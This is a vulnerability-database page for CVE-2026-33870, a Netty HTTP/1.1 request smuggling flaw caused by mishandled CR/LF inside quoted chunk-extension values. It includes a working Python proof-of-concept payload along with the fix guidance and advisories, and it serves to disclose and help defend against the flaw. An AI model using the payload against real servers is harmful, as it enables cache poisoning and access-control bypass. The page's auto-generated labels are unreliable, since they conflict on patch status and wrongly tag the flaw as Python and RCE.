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Python CVE-2026-33870

HIGH
HTTP Request/Response Smuggling (CWE-444)
2026-03-26 https://github.com/netty/netty
RCE Python Docker Request Smuggling
7.5
CVSS 3.1 · Vendor: https://github.com/netty/netty
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft HTTP request with malformed quoted strings in chunk extensions
  2. Exploit
    Netty parses extension values incorrectly
  3. Execution
    Request smuggling occurs between Netty and backend server
  4. Impact
    Attacker injects unauthorized HTTP requests

Vulnerability Assessment

Weakness
CWE
CWE-444
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V4 - API and Web Service HTTP request consistency
Exploitation Conditions

Remote unauthenticated attacker sending crafted HTTP/1.1 requests with malformed quoted strings in chunked transfer encoding extension values to any Netty-based application accepting HTTP/1.1 requests. No user interaction required.
Impact

CVSS 7.5. EPSS 0.0%. No patch confirmed.
Exploit ScenarioDerived

An attacker could exploit this vulnerability in the affected application to compromise the security of affected deployments, potentially impacting confidentiality, integrity, or availability.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 26, 2026

CVE-2026-33870 is a security vulnerability (CVSS 7.5). High severity vulnerability requiring prompt remediation.

Earlier versions of this analysis (1)
v1 Mar 26, 2026 - 19:00 CVSS 7.5

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background This vulnerability is a new variant discovered during

RemediationAI

Monitor vendor channels for patch availability.

Affected Packages

maven io.netty:netty-codec-http fix: 4.1.132.Final, 4.2.10.Final

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in maven

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

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Technical ContextAI · show details

Vulnerability type not specified by vendor. CVSS 7.5 indicates high severity.

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Severity by source

Vendor (https://github.com/netty/netty) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/netty/netty).

CVSS VectorVendor: https://github.com/netty/netty

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 26, 2026 - 18:48 nvd
HIGH 7.5

DescriptionCVE.org

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

  • <https://w4ke.info/2025/06/18/funky-chunks.html>
  • <https://w4ke.info/2025/10/29/funky-chunks-2.html>

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions-whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

python
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

ParserRequest 1Request 2
Netty (vulnerable)POST / body="X"GET /smuggled (SMUGGLED)
RFC-compliant parser400 Bad Request(none - malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

!Vulnerability Diagram

java_netty.zip

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 11 maven packages depend on io.netty:netty-codec-http (11 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

Executive ViewAI

Why It Matters

Netty's HTTP/1.1 parser contains a request smuggling vulnerability (CVE-2026-33870) that allows unauthenticated attackers to inject malicious HTTP requests into application connections, enabling cache poisoning, session hijacking, and access control bypass. Organizations using io.netty:netty-codec-http are exposed to immediate integrity and confidentiality risks without authentication requirements, particularly in environments serving multiple users or downstream clients.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Deploy WAF rules to detect and reject HTTP requests with CR/LF characters embedded in chunk extension values; (2) Disable chunked transfer encoding if operationally feasible; (3) Implement network segmentation to restrict direct client access to affected Netty services; (4) Enable strict HTTP request validation at ingress points; (5) Monitor for anomalous request patterns and differential responses. These controls reduce but do not eliminate risk-patch application is mandatory upon availability.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

HTTP Request Smuggling HIGH

HTTP request smuggling exploits inconsistencies in how front-end and back-end servers parse HTTP message boundaries.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:maven/io.netty:netty-codec-http
pkg:maven/io.netty:netty-codec-http

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Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Module for Development Tools 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
openSUSE Leap 15.6 Fixed
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Desktop 15 SP7 Fixed

References

Advisories & patches
ADVISORY https://access.redhat.com/errata/RHSA-2026:7109 ADVISORY https://access.redhat.com/errata/RHSA-2026:7380 ADVISORY https://access.redhat.com/errata/RHSA-2026:8159 ADVISORY https://access.redhat.com/errata/RHSA-2026:8509 ADVISORY https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8 ADVISORY https://vuldb.com/vuln/354033 ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:1353/ REF https://access.redhat.com/errata/RHSA-2026:10175 REF https://access.redhat.com/errata/RHSA-2026:10184 REF https://access.redhat.com/errata/RHSA-2026:13571 REF https://access.redhat.com/errata/RHSA-2026:14272 REF https://access.redhat.com/errata/RHSA-2026:14276 REF https://access.redhat.com/errata/RHSA-2026:17668 REF https://access.redhat.com/errata/RHSA-2026:17789 REF https://access.redhat.com/errata/RHSA-2026:18054 REF https://access.redhat.com/errata/RHSA-2026:18055 REF https://access.redhat.com/errata/RHSA-2026:18059 REF https://access.redhat.com/errata/RHSA-2026:22619 REF https://access.redhat.com/errata/RHSA-2026:34608 REF https://access.redhat.com/errata/RHSA-2026:65126 REF https://access.redhat.com/security/cve/CVE-2026-33870 REF https://bugzilla.redhat.com/show_bug.cgi?id=2452453 REF https://github.com/advisories/GHSA-pwqr-wmgm-9rr8 REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33870.json REF https://w4ke.info/2025/06/18/funky-chunks.html REF https://w4ke.info/2025/10/29/funky-chunks-2.html REF https://www.rfc-editor.org/rfc/rfc9110

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